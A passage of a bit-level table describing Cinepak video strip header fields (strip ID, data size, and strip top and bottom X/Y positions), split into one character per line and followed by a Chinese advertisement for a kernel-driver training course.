-
-
+
1
|
0
0
0
0
0
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
2
|
0
0
0
0
0
0
0
0
| Size of strip data Unsigned
0x10
+
-
-
+
3
|
0
0
0
1
0
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
4
|
0
0
0
0
0
0
0
0
| Strips top Y position Unsigned
0x0
+
-
-
+
5
|
0
0
0
0
0
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
6
|
0
0
0
0
0
0
0
0
| Strips top X position Unsigned
0x0
+
-
-
+
7
|
0
0
0
0
0
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
8
|
0
0
0
0
0
0
0
0
| Strips bottom Y position Unsigned
0x60
+
-
-
+
9
|
0
1
1
0
0
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
10
|
0
0
0
0
0
0
0
1
| Strips bottom X position Unsigned
0x160
+
-
-
+
11
|
0
1
1
0
0
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
7
6
5
4
3
2
1
0
Field Name
Type
Value
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
0
|
0
0
0
1
0
0
0
0
| Strip CVID
ID
Unsigned
0x1000
+
-
-
+
1
|
0
0
0
0
0
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
2
|
0
0
0
0
0
0
0
0
| Size of strip data Unsigned
0x10
+
-
-
+
3
|
0
0
0
1
0
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
4
|
0
0
0
0
0
0
0
0
| Strips top Y position Unsigned
0x0
+
-
-
+
5
|
0
0
0
0
0
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
6
|
0
0
0
0
0
0
0
0
| Strips top X position Unsigned
0x0
+
-
-
+
7
|
0
0
0
0
0
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课